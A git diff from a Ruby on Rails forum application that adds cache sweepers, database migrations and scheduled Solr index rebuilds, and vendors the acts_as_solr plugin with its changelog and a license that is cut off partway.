diff --git a/.gitignore b/.gitignore index ed85778f..2fb725ff 100644 --- a/.gitignore +++ b/.gitignore @@ -4,4 +4,6 @@ index/**/* coverage/**/* config/environments/development.rb nbproject -db/schema.rb \ No newline at end of file +db/schema.rb +**/.specification +**/cache \ No newline at end of file diff --git a/app/sweepers/allocations_sweeper.rb b/app/sweepers/allocations_sweeper.rb new file mode 100644 index 00000000..40f968d0 --- /dev/null +++ b/app/sweepers/allocations_sweeper.rb @@ -0,0 +1,49 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class AllocationsSweeper < ActionController::Caching::Sweeper + observe Allocation # This sweeper is going to keep an eye on the allocation model + + # If our sweeper detects that an allocation was created call this + def after_save(allocation) + expire_cache_for(allocation) + end + + # If our sweeper detects that an allocation was deleted call this + def after_destroy(allocation) + expire_cache_for(allocation) + end + + def after_votes_create + expire_cache current_user + end + + def after_votes_destroy + expire_cache current_user + end + + def after_account_login + expire_cache current_user + end + + def after_account_continue_openid + expire_cache current_user + end + + private + def expire_cache_for(allocation) + if allocation.class.to_s == 'UserAllocation' + expire_cache(allocation.user) + else + for user in allocation.enterprise.users + expire_cache(user) + end + end + end + + def expire_cache(user) + # Expire a fragment + expire_fragment(:controller => "allocations", :action => "my_allocations", + :user_id => (user == :false ? -1 : user.id)) + end +end \ No newline at end of file diff --git a/app/sweepers/announcements_sweeper.rb b/app/sweepers/announcements_sweeper.rb new file mode 100644 index 00000000..b144254f --- /dev/null +++ b/app/sweepers/announcements_sweeper.rb @@ -0,0 +1,27 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class AnnouncementsSweeper < ActionController::Caching::Sweeper + observe Announcement # This sweeper is going to keep an eye on the announcement model + + # If our sweeper detects that an announcement was created call this + def after_save(announcement) + expire_cache_for(announcement) + end + + # If our sweeper detects that an announcement was deleted call this + def after_destroy(announcement) + expire_cache_for(announcement) + end + + def after_announcements_index + expire_fragment(:controller => 'announcements', :action => 'top_five', + :user_id => (logged_in? ? current_user.id : -1)) + end + + private + def expire_cache_for(record) + # Expire a fragment + expire_fragment(%r{announcements/top_five.user_id=*}) + end +end \ No newline at end of file diff --git a/app/sweepers/attachments_sweeper.rb b/app/sweepers/attachments_sweeper.rb new file mode 100644 index 00000000..5dc47713 --- /dev/null +++ b/app/sweepers/attachments_sweeper.rb @@ -0,0 +1,28 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class AttachmentsSweeper < ActionController::Caching::Sweeper + observe Attachment # This sweeper is going to keep an eye on the Attachment model + + # If our sweeper detects that an attachment was created call this + def after_save(attachment) + expire_cache_for(attachment) + end + + # If our sweeper detects that an attachment was deleted call this + def after_destroy(attachment) + expire_cache_for(attachment) + end + + def before_attachments_search + expire_fragment(%r{attachments/list_attachments\.action_type=search&page=(\d)+&user_id=#{current_user.id}}) + end + + private + def expire_cache_for(record) + # Expire a fragment + expire_fragment(%r{attachments/list_attachments.*}) + # expire_fragment(:controller => 'attachments', :action => 'index', + # :page => params[:page] || 1) + end +end \ No newline at end of file diff --git a/app/sweepers/comments_sweeper.rb b/app/sweepers/comments_sweeper.rb new file mode 100644 index 00000000..48b03fcc --- /dev/null +++ b/app/sweepers/comments_sweeper.rb @@ -0,0 +1,28 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class CommentsSweeper < ActionController::Caching::Sweeper + observe Comment # This sweeper is going to keep an eye on the comment model + + # If our sweeper detects that a comment was created call this + def after_save(comment) + expire_cache_for(comment) + end + + # If our sweeper detects that a comment was deleted call this + def after_destroy(comment) + expire_cache_for(comment) + end + + private + def expire_cache_for(comment) + # Expire a fragment + if comment.class.to_s == 'TopicComment' + expire_fragment(%r{forums/list_forums.user_id=*}) + expire_fragment(%r{forums/most_active.forum=-1&user_id=*}) + expire_fragment(%r{forums/most_active.forum=#{comment.topic.forum.id}&user_id=*}) + # expire_fragment(:controller => 'comments', :action => 'index', + # :page => params[:page] || 1) + end + end +end \ No newline at end of file diff --git a/app/sweepers/forums_sweeper.rb b/app/sweepers/forums_sweeper.rb new file mode 100644 index 00000000..618a45a9 --- /dev/null +++ b/app/sweepers/forums_sweeper.rb @@ -0,0 +1,41 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class ForumsSweeper < ActionController::Caching::Sweeper + observe Forum # This sweeper is going to keep an eye on the Forum model + + # If our sweeper detects that a forum was created call this + def after_save(forum) + expire_cache_for(forum) + end + + # If our sweeper detects that a forum was deleted call this + def after_destroy(forum) + expire_cache_for(forum) + end + + def after_forums_mark_all_as_read + expire_fragment(%r{forums/list_forums.user_id=#{current_user.id}}) + end + + def after_watches_create_forum_watch + kill_list_forums_cache + end + + def after_watches_destroy_forum_watch + kill_list_forums_cache + end + + private + def expire_cache_for(record) + # Expire a fragment + kill_list_forums_cache + expire_fragment(%r{forums/most_active.forum=-1&user_id=*}) + # expire_fragment(:controller => 'forums', :action => 'index', + # :page => params[:page] || 1) + end + + def kill_list_forums_cache + expire_fragment(%r{forums/list_forums.user_id=*}) + end +end \ No newline at end of file diff --git a/app/sweepers/link_sets_sweeper.rb b/app/sweepers/link_sets_sweeper.rb new file mode 100644 index 00000000..ce22146f --- /dev/null +++ b/app/sweepers/link_sets_sweeper.rb @@ -0,0 +1,23 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class LinkSetsSweeper < ActionController::Caching::Sweeper + observe LinkSet # This sweeper is going to keep an eye on the link_set model + + # If our sweeper detects that an link_set was created call this + def after_save(link_set) + expire_cache_for(link_set) + end + + # If our sweeper detects that an link_set was deleted call this + def after_destroy(link_set) + expire_cache_for(link_set) + end + + private + def expire_cache_for(link_set) + # Expire a fragment + expire_fragment(:controller => 'link_sets', :action => 'show_links', + :link_set_id => link_set.id) + end +end \ No newline at end of file diff --git a/app/sweepers/topics_sweeper.rb b/app/sweepers/topics_sweeper.rb new file mode 100644 index 00000000..54979adb --- /dev/null +++ b/app/sweepers/topics_sweeper.rb @@ -0,0 +1,26 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class TopicsSweeper < ActionController::Caching::Sweeper + observe Topic # This sweeper is going to keep an eye on the Topic model + + # If our sweeper detects that a topic was created call this + def after_save(topic) + expire_cache_for(topic) + end + + # If our sweeper detects that a topic was deleted call this + def after_destroy(topic) + expire_cache_for(topic) + end + + private + def expire_cache_for(topic) + # Expire a fragment + expire_fragment(%r{forums/list_forums.user_id=*}) + expire_fragment(%r{forums/most_active.forum=-1&user_id=*}) + expire_fragment(%r{forums/most_active.forum=#{topic.forum.id}&user_id=*}) +# expire_fragment(:controller => 'topics', :action => 'index', +# :page => params[:page] || 1) + end +end \ No newline at end of file diff --git a/db/migrate/20081229014808_create_topic_import.rb b/db/migrate/20081229014808_create_topic_import.rb new file mode 100644 index 00000000..3e0fc571 --- /dev/null +++ b/db/migrate/20081229014808_create_topic_import.rb @@ -0,0 +1,19 @@ +class CreateTopicImport < ActiveRecord::Migration + def self.up + create_table :topic_imports, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8' do |t| + t.string :forum_name, :limit => 50, :null => false + t.string :topic_title, :limit => 200, :null => false + t.string :user_email, :null => false + t.text :comment_body, :null => false + t.timestamps + t.string :status + end + RunIntervalPeriodicJob.create(:job => 'TopicImport.process', + :interval => 600) #once every 10 minutes + end + + def self.down + drop_table :topic_imports + RunIntervalPeriodicJob.find_by_job("TopicImport.process").destroy + end +end diff --git a/db/migrate/20090116033227_create_rates.rb b/db/migrate/20090116033227_create_rates.rb new file mode 100644 index 00000000..5fe26f39 --- /dev/null +++ b/db/migrate/20090116033227_create_rates.rb @@ -0,0 +1,19 @@ +class CreateRates < ActiveRecord::Migration + def self.up + create_table :rates, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8' do |t| + t.references :user + t.references :rateable, :polymorphic => true + t.integer :stars + t.string :dimension + + t.timestamps + end + + add_index :rates, :user_id + add_index :rates, :rateable_id + end + + def self.down + drop_table :rates + end +end diff --git a/db/migrate/20090116040949_add_rating_cache_column.rb b/db/migrate/20090116040949_add_rating_cache_column.rb new file mode 100644 index 00000000..c1b11c64 --- /dev/null +++ b/db/migrate/20090116040949_add_rating_cache_column.rb @@ -0,0 +1,9 @@ +class AddRatingCacheColumn < ActiveRecord::Migration + def self.up + add_column :topics, :rating_average, :decimal, :default => 0 + end + + def self.down + remove_column :topics, :rating_average + end +end \ No newline at end of file diff --git a/db/migrate/20090118024317_add_private_to_comments.rb b/db/migrate/20090118024317_add_private_to_comments.rb new file mode 100644 index 00000000..ba5c6b56 --- /dev/null +++ b/db/migrate/20090118024317_add_private_to_comments.rb @@ -0,0 +1,13 @@ +class AddPrivateToComments < ActiveRecord::Migration + def self.up + change_table :comments do |t| + t.boolean :private, :default => false, :null => false + end + end + + def self.down + change_table :comments do |t| + t.remove :private + end + end +end diff --git a/db/migrate/20090118042341_populate_rebuild_index_periodic_job.rb b/db/migrate/20090118042341_populate_rebuild_index_periodic_job.rb new file mode 100644 index 00000000..6a1200a7 --- /dev/null +++ b/db/migrate/20090118042341_populate_rebuild_index_periodic_job.rb @@ -0,0 +1,11 @@ +class PopulateRebuildIndexPeriodicJob < ActiveRecord::Migration + def self.up + RunAtPeriodicJob.reset_column_information + # Regenerate SOLR indexes + RunAtPeriodicJob.create(:job => 'Topic.rebuild_solr_index; TopicComment.rebuild_solr_index', :run_at_minutes => 210) # run at 3:30AM + end + + def self.down + RunIntervalPeriodicJob.find_by_job("Topic.rebuild_solr_index; TopicComment.rebuild_solr_index").destroy + end +end diff --git a/db/migrate/20090118171507_add_last_commented_at_to_topic.rb b/db/migrate/20090118171507_add_last_commented_at_to_topic.rb new file mode 100644 index 00000000..5a45a783 --- /dev/null +++ b/db/migrate/20090118171507_add_last_commented_at_to_topic.rb @@ -0,0 +1,18 @@ +class AddLastCommentedAtToTopic < ActiveRecord::Migration + def self.up + change_table :topics do |t| + t.datetime :last_commented_at + end + + Topic.reset_column_information + for topic in Topic.find(:all) + topic.update_attribute(:last_commented_at, topic.updated_at) + end + end + + def self.down + change_table :topics do |t| + t.remove :last_commented_at + end + end +end diff --git a/db/migrate/20090118194132_add_power_user_group_to_forum.rb b/db/migrate/20090118194132_add_power_user_group_to_forum.rb new file mode 100644 index 00000000..9a1b8a76 --- /dev/null +++ b/db/migrate/20090118194132_add_power_user_group_to_forum.rb @@ -0,0 +1,16 @@ +class AddPowerUserGroupToForum < ActiveRecord::Migration + extend MigrationHelpers + + def self.up + change_table :forums do |t| + t.column 'power_user_group_id', :integer + end + add_foreign_key(:forums, :power_user_group_id, :groups) + end + + def self.down + change_table :forums do |t| + t.remove :power_user_group_id + end + end +end diff --git a/db/migrate/20090119160141_add_published_at_to_comments.rb b/db/migrate/20090119160141_add_published_at_to_comments.rb new file mode 100644 index 00000000..3cbbd8a0 --- /dev/null +++ b/db/migrate/20090119160141_add_published_at_to_comments.rb @@ -0,0 +1,18 @@ +class AddPublishedAtToComments < ActiveRecord::Migration + def self.up + change_table :comments do |t| + t.datetime :published_at + end + + Comment.reset_column_information + for comment in TopicComment.find(:all) + comment.update_attribute(:published_at, comment.created_at) unless comment.private + end + end + + def self.down + change_table :comments do |t| + t.remove :published_at + end + end +end diff --git a/db/migrate/20090121174906_add_public_to_attachments.rb b/db/migrate/20090121174906_add_public_to_attachments.rb new file mode 100644 index 00000000..a465f0be --- /dev/null +++ b/db/migrate/20090121174906_add_public_to_attachments.rb @@ -0,0 +1,13 @@ +class AddPublicToAttachments < ActiveRecord::Migration + def self.up + change_table :attachments do |t| + t.boolean :public, :default => true, :null => false + end + end + + def self.down + change_table :attachments do |t| + t.remove :public + end + end +end diff --git a/db/migrate/20090129160804_lengthen_filename.rb b/db/migrate/20090129160804_lengthen_filename.rb new file mode 100644 index 00000000..50c8d851 --- /dev/null +++ b/db/migrate/20090129160804_lengthen_filename.rb @@ -0,0 +1,21 @@ +class LengthenFilename < ActiveRecord::Migration + def self.up + change_table :attachments do |t| + # lengthen foreign keys + t.change :filename, :string, :limit => 200 + end + end + + def self.down + for attachment in Attachment.find(:all) + if attachment.filename.length > 50 + attachment.filename = attachment.filename.slice(1..50) + attachment.save + end + end + change_table :attachments do |t| + # lengthen foreign keys + t.change :filename, :string, :limit => 50 + end + end +end diff --git a/db/migrate/20090129194632_add_display_order_to_forums.rb b/db/migrate/20090129194632_add_display_order_to_forums.rb new file mode 100644 index 00000000..3163e25a --- /dev/null +++ b/db/migrate/20090129194632_add_display_order_to_forums.rb @@ -0,0 +1,13 @@ +class AddDisplayOrderToForums < ActiveRecord::Migration + def self.up + change_table :forums do |t| + t.integer :display_order, :default => 10, :null => true + end + end + + def self.down + change_table :forums do |t| + t.remove :display_order + end + end +end \ No newline at end of file diff --git a/db/migrate/20090204212649_add_dummy_to_user_topic_read.rb b/db/migrate/20090204212649_add_dummy_to_user_topic_read.rb new file mode 100644 index 00000000..82f45166 --- /dev/null +++ b/db/migrate/20090204212649_add_dummy_to_user_topic_read.rb @@ -0,0 +1,13 @@ +class AddDummyToUserTopicRead < ActiveRecord::Migration + def self.up + change_table :user_topic_reads do |t| + t.integer :dummy, :default => 1, :null => false + end + end + + def self.down + change_table :user_topic_reads do |t| + t.remove :dummy + end + end +end diff --git a/db/migrate/20090211175855_add_tracking_to_topics.rb b/db/migrate/20090211175855_add_tracking_to_topics.rb new file mode 100644 index 00000000..546d5beb --- /dev/null +++ b/db/migrate/20090211175855_add_tracking_to_topics.rb @@ -0,0 +1,29 @@ +require "migration_helpers" + +class AddTrackingToTopics < ActiveRecord::Migration + extend MigrationHelpers + + def self.up + change_table :forums do |t| + t.boolean :tracked, :default => false, :null => false + end + change_table :topics do |t| + t.boolean :open, :default => true, :null => false + t.column :owner_id, :integer, :null => true, :references => :user + t.datetime :closed_at + end + add_foreign_key(:topics, :owner_id, :users) + end + + def self.down + remove_foreign_key(:topics, :owner_id) + change_table :forums do |t| + t.remove :tracked + end + change_table :topics do |t| + t.remove :open + t.remove :owner_id + t.remove :closed_at + end + end +end diff --git a/db/migrate/20090213023402_add_downloads_to_attachment.rb b/db/migrate/20090213023402_add_downloads_to_attachment.rb new file mode 100644 index 00000000..1d27459e --- /dev/null +++ b/db/migrate/20090213023402_add_downloads_to_attachment.rb @@ -0,0 +1,13 @@ +class AddDownloadsToAttachment < ActiveRecord::Migration + def self.up + change_table :attachments do |t| + t.integer :downloads, :default => 0, :null => false + end + end + + def self.down + change_table :attachments do |t| + t.remove :downloads + end + end +end diff --git a/db/migrate/20090213133600_add_alias_to_attachments.rb b/db/migrate/20090213133600_add_alias_to_attachments.rb new file mode 100644 index 00000000..2e670f8e --- /dev/null +++ b/db/migrate/20090213133600_add_alias_to_attachments.rb @@ -0,0 +1,15 @@ +class AddAliasToAttachments < ActiveRecord::Migration + def self.up + change_table :attachments do |t| + t.string :alias, :null => true, :limit => 40 + end + add_index :attachments, :alias, :unique => true + end + + def self.down + remove_index :attachments, :alias + change_table :attachments do |t| + t.remove :alias + end + end +end diff --git a/db/migrate/20090213194308_create_enterprise_types_attachments.rb b/db/migrate/20090213194308_create_enterprise_types_attachments.rb new file mode 100644 index 00000000..b4a2f5bd --- /dev/null +++ b/db/migrate/20090213194308_create_enterprise_types_attachments.rb @@ -0,0 +1,28 @@ + +require "migration_helpers" + +class CreateEnterpriseTypesAttachments < ActiveRecord::Migration + extend MigrationHelpers + + def self.up + create_table :attachments_enterprise_types, :options => 'ENGINE=InnoDB DEFAULT CHARSET=utf8', :id => false do |t| + t.references :attachment, :null => false + t.references :enterprise_type, :null => false + t.column :lock_version, :integer, :default => 0 + t.timestamps + end + + add_foreign_key(:attachments_enterprise_types, :attachment_id, :attachments) + add_foreign_key(:attachments_enterprise_types, :enterprise_type_id, :lookup_codes) + + add_index :attachments_enterprise_types, [:attachment_id, :enterprise_type_id], + :unique => true, :name => ':attachments_enterprise_types_u1' + end + + def self.down + remove_foreign_key(:attachments_enterprise_types, :attachment_id) + remove_foreign_key(:attachments_enterprise_types, :enterprise_type_id) + + drop_table :attachments_enterprise_types + end +end diff --git a/db/migrate/20090215012112_add_forum_type_to_forums.rb b/db/migrate/20090215012112_add_forum_type_to_forums.rb new file mode 100644 index 00000000..855f5193 --- /dev/null +++ b/db/migrate/20090215012112_add_forum_type_to_forums.rb @@ -0,0 +1,30 @@ +class AddForumTypeToForums < ActiveRecord::Migration + def self.up + change_table :forums do |t| + t.string :forum_type, :default => 'forum', :null => false + end + Forum.reset_column_information + + for forum in Forum.find(:all) + forum.forum_type = 'blog' if forum.restrict_topic_creation + forum.save! + end + change_table :forums do |t| + t.remove :restrict_topic_creation + end + end + + def self.down + change_table :forums do |t| + t.boolean :restrict_topic_creation, :default => false, :null => false + end + Forum.reset_column_information + for forum in Forum.find(:all) + forum.restrict_topic_creation = true if forum.forum_type != 'forum' + forum.save! + end + change_table :forums do |t| + t.remove :forum_type + end + end +end diff --git a/db/migrate/20090216034325_update_rebuild_solr_index.rb b/db/migrate/20090216034325_update_rebuild_solr_index.rb new file mode 100644 index 00000000..4ef05fff --- /dev/null +++ b/db/migrate/20090216034325_update_rebuild_solr_index.rb @@ -0,0 +1,19 @@ +class UpdateRebuildSolrIndex < ActiveRecord::Migration + def self.up + job = RunAtPeriodicJob.find_by_job_and_last_run_at('Topic.rebuild_solr_index; TopicComment.rebuild_solr_index', + nil) + unless job.nil? + job.job = 'SearchUtils.rebuild_indexes' + job.save! + end + end + + def self.down + job = RunAtPeriodicJob.find_by_job_and_last_run_at('SearchUtils.rebuild_indexes', + nil) + unless job.nil? + job.job = 'Topic.rebuild_solr_index; TopicComment.rebuild_solr_index' + job.save! + end + end +end diff --git a/db/migrate/20090226021246_add_attachments_groups.rb b/db/migrate/20090226021246_add_attachments_groups.rb new file mode 100644 index 00000000..04374cce --- /dev/null +++ b/db/migrate/20090226021246_add_attachments_groups.rb @@ -0,0 +1,26 @@ +require "migration_helpers" + +class AddAttachmentsGroups < ActiveRecord::Migration + extend MigrationHelpers + + def self.up + create_table :attachments_groups, :id => false do |t| + t.references :attachment, :null => false + t.references :group, :null => false + t.column :lock_version, :integer, :default => 0 + t.timestamps + end + + add_foreign_key(:attachments_groups, :attachment_id, :attachments) + add_foreign_key(:attachments_groups, :group_id, :groups) + + add_index :attachments_groups, [:attachment_id, :group_id], :unique => true + end + + def self.down + remove_foreign_key(:attachments_groups, :attachment_id) + remove_foreign_key(:attachments_groups, :group_id) + + drop_table :attachments_groups + end +end diff --git a/db/migrate/20090302214023_rename_topic_open.rb b/db/migrate/20090302214023_rename_topic_open.rb new file mode 100644 index 00000000..69d72f8b --- /dev/null +++ b/db/migrate/20090302214023_rename_topic_open.rb @@ -0,0 +1,9 @@ +class RenameTopicOpen < ActiveRecord::Migration + def self.up + rename_column "topics", "open", "open_status" + end + + def self.down + rename_column "topics", "open_status", "open" + end +end diff --git a/db/migrate/20090306031024_attachment_edited_at.rb b/db/migrate/20090306031024_attachment_edited_at.rb new file mode 100644 index 00000000..7395f0a2 --- /dev/null +++ b/db/migrate/20090306031024_attachment_edited_at.rb @@ -0,0 +1,22 @@ +class AttachmentEditedAt < ActiveRecord::Migration + def self.up + change_table :attachments do |t| + t.datetime :edited_at + end + + Attachment.reset_column_information + for attachment in Attachment.find(:all) + attachment.update_attribute(:edited_at, attachment.updated_at) + end + + change_table :attachments do |t| + t.change :edited_at, :datetime, :null => false + end + end + + def self.down + change_table :attachments do |t| + t.remove :edited_at + end + end +end diff --git a/lib/search_utils.rb b/lib/search_utils.rb new file mode 100644 index 00000000..bcb390ae --- /dev/null +++ b/lib/search_utils.rb @@ -0,0 +1,13 @@ +# To change this template, choose Tools | Templates +# and open the template in the editor. + +class SearchUtils + def self.rebuild_indexes + Topic.rebuild_solr_index + TopicComment.rebuild_solr_index + Idea.rebuild_solr_index + User.rebuild_solr_index + Enterprise.rebuild_solr_index + Attachment.rebuild_solr_index + end +end diff --git a/vendor/plugins/acts_as_solr/.gitignore b/vendor/plugins/acts_as_solr/.gitignore new file mode 100644 index 00000000..d295b20c --- /dev/null +++ b/vendor/plugins/acts_as_solr/.gitignore @@ -0,0 +1,8 @@ +*.log +*.log +*_pid +coverage/* +coverage.data +solr/solr/data/* +.svn +test/db/*.db diff --git a/vendor/plugins/acts_as_solr/CHANGE_LOG b/vendor/plugins/acts_as_solr/CHANGE_LOG new file mode 100644 index 00000000..66597a8e --- /dev/null +++ b/vendor/plugins/acts_as_solr/CHANGE_LOG @@ -0,0 +1,230 @@ +== CHANGE_LOG +=== Development +NEW:: A unit test suite based on Shoulda, not requiring a running Solr or a Rails environment. (Mathias Meyer) +NEW:: Added the :offline option to the acts_as_solr method. (Mathias Meyer) +NEW:: Added :lazy flag to find_by_solr, and with that support to load records lazily. (Mathias Meyer) +FIX:: Added test: to solr.yml so you don't need to do this by hand. (Ken Harris) +FIX:: Updated bundled Solr to 1.3. (Mathias Meyer) +FIX:: Updated bundled solr-ruby to 0.0.6 which comes bundled with Solr 1.3. (Mathias Meyer) +FIX:: Improved logging of the reindex rake task. (David Stevenson) +FIX:: Added requirement for libxml-ruby > 0.7, if libxml-ruby is installed. (David Stevenson) +FIX:: Ruby 1.9 compatibility fixes. (David Palm) +FIX:: Fixed compatibility with Desert by renaming environment.rb to solr_environment.rb. (David Stevenson) +FIX:: Moved the require of solr_environment only into tasks that need it. (David Stevenson) + +=== 06-18-2007: Version 0.9 +NEW:: Added the option :scores when doing a search. If set to true this will return the score as a 'solr_score' attribute or each one of the instances found + books = Book.find_by_solr 'ruby OR splinter', :scores => true + books.records.first.solr_score + => 1.21321397 + books.records.last.solr_score + => 0.12321548 + +NEW:: Major change on the way the results returned are accessed. + books = Book.find_by_solr 'ruby' + # the above will return a SearchResults class with 4 methods: + # docs|results|records: will return an array of records found + # + # books.records.is_a?(Array) + # => true + # + # total|num_found|total_hits: will return the total number of records found + # + # books.total + # => 2 + # + # facets: will return the facets when doing a faceted search + # + # max_score|highest_score: returns the highest score found + # + # books.max_score + # => 1.3213213 + +NEW:: Integrating acts_as_solr to use solr-ruby as the 'backend'. Integration based on the patch submitted by Erik Hatcher +NEW:: Re-factoring rebuild_solr_index to allow adds to be done in batch; and if a finder block is given, it will be called to retrieve the items to index. (thanks Daniel E.) +NEW:: Adding the option to specify the port Solr should start when using rake solr:start + rake solr:start RAILS_ENV=your_env PORT=XX + +NEW:: Adding deprecation warning for the :background configuration option. It will no longer be updated. +NEW:: Adding support for models that use a primary key other than integer + class Posting < ActiveRecord::Base + set_primary_key 'guid' #string + #make sure you set the :primary_key_field => 'pk_s' if you wish to use a string field as the primary key + acts_as_solr({},{:primary_key_field => 'pk_s'}) + end + +FIX:: Disabling of storing most fields. Storage isn't useful for acts_as_solr in any field other than the pk and id fields. It just takes up space and time. (thanks Daniel E.) +FIX:: Re-factoring code submitted by Daniel E. +NEW:: Adding an :auto_commit option that will only send the commit command to Solr if it is set to true + class Author < ActiveRecord::Base + acts_as_solr :auto_commit => false + end + +FIX:: Fixing bug on rake's test task +FIX:: Making acts_as_solr's Post class compatible with Solr 1.2 (thanks Si) +NEW:: Adding Solr 1.2 +FIX:: Removing Solr 1.1 +NEW:: Adding a conditional :if option to the acts_as_solr call. It behaves the same way ActiveRecord's :if argument option does. + class Electronic < ActiveRecord::Base + acts_as_solr :if => proc{|record| record.is_active?} + end + +NEW:: Adding fixtures to Solr index when using rake db:fixtures:load +FIX:: Fixing boost warning messages +FIX:: Fixing bug when adding a facet to a field that contains boost +NEW:: Deprecating find_with_facet and combining functionality with find_by_solr +NEW:: Adding the option to :exclude_fields when indexing a model + class User < ActiveRecord::Base + acts_as_solr :exclude_fields => [:password, :login, :credit_card_number] + end + +FIX:: Fixing branch bug on older ruby version +NEW:: Adding boost support for fields and documents being indexed: + class Electronic < ActiveRecord::Base + # You can add boosting on a per-field basis or on the entire document + acts_as_solr :fields => [{:price => {:boost => 5.0}}], :boost => 5.0 + end + +FIX:: Fixed the acts_as_solr limitation to only accept test|development|production environments. + +=== 05-16-2007: Version 0.8.5 +FIX:: There's no need to specify the :field_types anymore when doing a search in a model that specifies a field type for a field. +FIX:: Better handling of nil values from indexed fields. Solr complained when indexing fields with field type and the field values being passed as nils. +NEW:: Adding Solr sort (order by) option to the search query (thanks Kevin Hunt) +FIX:: Applying patch suggested for increasing the Solr commit speed (thanks Mourad Hammiche) +FIX:: Updated documentation + +=== 05-10-2007: Version 0.8 +NEW: New video tutorial +NEW: Faceted search has been implemented and its possible to 'drill-down' on the facets +NEW: New rake tasks you can use to start/stop the solr server in test, development and production environments: (thanks Matt Clark) + rake solr:start|stop RAILS_ENV=test|development|production (defaults to development if none given) + +NEW: Changes to the plugin's test framework and it now supports Sqlite as well (thanks Matt Clark) +FIX: Patch applied (thanks Micah) that allows one to have multiple solr instances in the same servlet +FIX: Patch applied (thanks Micah) that allows indexing of STIs +FIX: Patch applied (thanks Gordon) that allows the plugin to use a table's primary key different than 'id' +FIX: Returning empty array instead of empty strings when no records are found +FIX: Problem with unit tests failing due to order of the tests and speed of the commits + +=== 02-16-2007: Version 0.7 +NEW: You can now specify the field types when indexing and searching if +you'd like to preserve its original type: + +Indexing + +Each field passed can also be a hash with the value being a field type + + class Electronic < ActiveRecord::Base + acts_as_solr :fields => [{:price => :range_float}, {:current_time => :date}] + def current_time + Time.now + end + end + +Searching + Electronic.find_by_solr "ipod AND price:[* TO 59.99]", + :field_types => [{:price => :range_float}] + +The field types accepted are: +:float:: Index the field value as a float (ie.: 12.87) +:integer:: Index the field value as an integer (ie.: 31) +:boolean:: Index the field value as a boolean (ie.: true/false) +:date:: Index the field value as a date (ie.: Wed Nov 15 23:13:03 PST 2006) +:string:: Index the field value as a text string, not applying the same indexing filters as a regular text field +:range_integer:: Index the field value for integer range queries (ie.:[5 TO 20]) +:range_float:: Index the field value for float range queries (ie.:[14.56 TO 19.99]) + +Setting the field type preserves its original type when indexed + +FIX: Fixing sorting bug. Thanks for the catch Laurel + +FIX: Fixing small bug when installing the plugin + +NEW: Adding the :additional_fields option to the acts_as_solr method + +=== 02-05-2007: Version 0.6.5 +NEW:: Added multi-model search, which can be used to execute a search across multiple models: + Book.multi_solr_search "Napoleon OR Tom", :models => [Movie] + +====options: +Accepts the same options as find_by_solr plus: +models:: The additional models you'd like to include in the search +results_format:: Specify the format of the results found + :objects :: Will return an array with the results being objects (default). Example: + Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :objects + :ids :: Will return an array with the ids of each entry found. Example: + Book.multi_solr_search "Napoleon OR Tom", :models => [Movie], :results_format => :ids + => [{"id" => "Movie:1"},{"id" => Book:1}] + Where the value of each array is as Model:instance_id + +=== 02-03-2007: Version 0.6 +NEW:: Added basic faceted search functionality for indexing and searching: + +==== Indexing: + + class Electronic < ActiveRecord::Base + acts_as_solr :facets => [:category, :manufacturer] + end + +==== Searching: + + Electronic.find_with_facet "memory", :facets => {:fields =>[:category]} + +=== 01-15-2007: Version 0.5 +NEW:: Added model association indexing, which means you can include any :has_one, :has_many, +:belongs_to and :has_and_belongs_to_many association to be indexed: + + class Category < ActiveRecord::Base + has_many :books + acts_as_solr :include => [:books] + end + + class Book < ActiveRecord::Base + belongs_to :category + acts_as_solr :include => [:category] + end + +=== 01-11-2007: +NEW:: Added the acts_as_solr's plugin tests + +=== 11-07-2006: Version 0.4 +NEW:: Added :background option, which takes and integer value (in minutes) to wait before committing the changes to Solr. This depends on rail_cron being installed. By setting up the background job we prevent the users from having to wait for Solr records to be created, and we keep from updating the index over and over for quickly successive changes. (Rob Kaufman) + +=== 11-02-2006: Version 0.3 +NEW:: Added a method (Model.count_by_solr) that returns the total number of documents found based on query passed +NEW:: Added configuration for production and development environments + +=== 10-21-2006: Version 0.2 +PLUGIN +FIX:: Fixed bug when mixing search-by-field and 'free' search: Model.find_by_solr 'solr AND name:Thiago' +FIX:: Fixed bug with multi-terms search: Book.find_by_solr 'anteater john' +FIX:: Fixed bug when including more than one search field: Model.find_by_solr 'name:Thiago AND engine:Solr' +FIX:: Fixed bug when rebuilding the index, it wasn't saving the data +NEW:: Added the ability to index custom methods from a model as search fields +NEW:: Added a search method (Model.find_id_by_solr) that will return only the id of the results + +SCHEMA.XML +NEW:: Added a new field: +NEW:: Added a default search field: default +FIX:: Changed the defaultOperator to AND instead of OR + +=== 09-29-2006: Version 0.1 +PLUGIN +NEW:: Included the option of having a Solr config file inside the rails env. +NEW:: Added the ability of indexing only certain fields, if you chose to. +NEW:: Added configuration options +NEW:: Changed the way the search was done: + Old: You were forced the specify the field you wanted to look for + ('field:value') and you had to specify a default search field as + well, for when you didn't include the 'field' in the search term + New: The new search features include: + - You don't have to specify a default search field; + - You are not forced to include the field name in the search term, + unless you choose to search for a specific field ('name:Thiago'); + - You can pass the starting row and the number of rows per page, + which is usefull for pagination +NEW:: Included a method to rebuild the index files + +SCHEMA.XML +NEW:: Created an optimized version of the config file to better work with this plugin \ No newline at end of file diff --git a/vendor/plugins/acts_as_solr/LICENSE b/vendor/plugins/acts_as_solr/LICENSE new file mode 100644 index 00000000..e4a2ef54 --- /dev/null +++ b/vendor/plugins/acts_as_solr/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2006 Erik Hatcher, Thiago Jackiw + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE 